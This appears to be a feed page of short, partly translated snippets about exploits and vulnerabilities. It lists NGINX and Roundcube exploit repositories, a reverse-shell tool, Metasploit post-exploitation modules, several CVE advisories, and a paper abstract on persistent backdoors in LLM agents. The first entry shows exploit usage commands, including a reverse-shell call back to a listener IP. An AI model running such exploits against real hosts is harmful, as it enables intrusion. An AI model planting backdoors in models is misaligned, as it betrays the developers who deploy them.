CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in curl

There is an information disclosure vulnerability in curl v8.1.0 when performing HTTPS transfers. libcurl may incorrectly use the read callback CURLOPTREADFUNCTION to request data to be sent, even when the CURLOPTPOSTFIELDS option is set. This occurs if the same handle was previously used to issue...

RevShell

🔥 RevShell 프로젝트 — 고급 Windows 리버스 셸 ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

msf-auxiliarys

msf-auxiliarys metasploit 보조 포스트 모듈 모음입니다 Description 이 작업 디렉토리에는 제가 작성한 다양한 metasploit 보조 모듈이 포함되어 있으며, 공격 후post-exploitation 일반적인 작업을 돕기 위해 만들어졌습니다. Download/Install 1º - GitHub에서 모듈 다운로드 2º - 설명을 읽도록 모듈 편집 3º - 모듈을 metasploit 데이터베이스로 포팅 4º - metasploit 데이터베이스 다시 로드 .. service postgresql start...

codecrypt

Codecrypt ポスト量子暗号ツール。 Codecrypt は現在メンテナンスされていませんが、私は今も問題なく使用しています。開発やメンテナンスに興味があれば、私に連絡してください。 概要 これは GnuPG ライクな Unix プログラムで、暗号化と署名に量子コンピュータ耐性のあるアルゴリズムのみを使用します: McEliece 暗号システム コンパクトな QC-MDPC 変種 を暗号化に使用 ハッシュベースの Merkle ツリーアルゴリズム FMTSeq 変種 をデジタル署名に使用 Codecrypt はフリーソフトウェアです。コードは LGPL3...

JavaPayload

JavaPayload JavaPayload는 순수 Java 익스플로잇 또는 일반적인 잘못된 구성비밀번호로 보호되지 않는 Tomcat 매니저 또는 디버거 포트 등에서 포스트 익스플로잇post-exploitation에 사용하기 위한 순수 Java 페이로드 모음입니다. 구버전 문서는 다음에서 찾을 수 있습니다. http://schierlm.users.sourceforge.net/JavaPayload/ http://schierlm.users.sourceforge.net/J2EEPayload/...

CVE-2026-88396

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...

EUVD-2026-92468

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...

PT-2026-106007

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and move uploaded file drops the file into the web-accessible directory...

PT-2026-106094

Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Object Injection.This issue affects Advanced Post Manager: from n/a through 4.5.5...

CVE-2026-97283: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Object Injection.This issue affects Advanced Post Manager: from n/a through 4.5.5...

CVE-2026-88396: Undefined Security Weakness

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...

PT-2026-106278

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.13, when Joplin Desktop is running with the opt-in Web Clipper server enabled, the server in packages/lib/ClipperServer.ts sends Access-Control-Allow-Origin: and allows an...

CVE-2026-88396

ApiAdmin versions v5.0 and before are vulnerable to a Directory Traversal flaw in the admin file-upload endpoint (POST /admin/Index/upload ). The application fails to implement a whitelist, blacklist, or content check on uploaded files, accepting the provided file extension verbatim. Consequently...

Understanding and Enhancing Backdoor Persistency in LLM Agent Post-Training

Developers can build LLM agents by adapting third-party models through benign post-training. We study a supply-chain threat in which an attacker supplies a model with a backdoor: hidden behavior that produces malicious outputs when a particular input pattern appears. Focusing on...

PT-2026-106232

Name of the Vulnerable Software and Affected Versions Langflow versions prior to 1.10.3 langflow-base versions prior to 0.10.3 lfx versions prior to 1.10.3 Description An issue exists in the MCP stdio transport where the software executes commands and arguments provided in an MCP server...

PT-2026-106233

Name of the Vulnerable Software and Affected Versions Langflow versions 1.0.0 through 1.10.0 Description Langflow fails to verify flow ownership in the deprecated 'POST /api/v1/build/flow id/vertices' and 'POST /api/v1/build/flow id/vertices/vertex id' endpoints. In versions prior to 1.7.2, these...

PT-2026-106262

Name of the Vulnerable Software and Affected Versions vLLM versions prior to 0.30.0 Description In vLLM, Harmony tool continuations submitted through the "POST /v1/responses" endpoint rebuild the next-turn engine input without preserving the cache salt value. This causes the continuation prefix t...

CVE-2026-104966: Authorization Bypass Through User-Controlled Key

Plane is an open-source project management tool. Prior to 1.4.0, two endpoint families fail to verify that nested resource identifiers belong to the workspace and project named in the URL. An authenticated user can read or modify estimates from another workspace through PATCH...

CVE-2024-42008-9-exploit

CVE-2024-42008-9-exploit 이 저장소의 스크립트는 CVE-2024-42008 및 CVE-2024-42009를 악용하기 위해 만들어졌습니다. 이 두 CVE는 Roundcube 1.6.7에서 발견된 취약점입니다. 이러한 CVE와 이를 악용하는 방법에 대한 자세한 내용은 다음 링크를 참조하십시오: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail...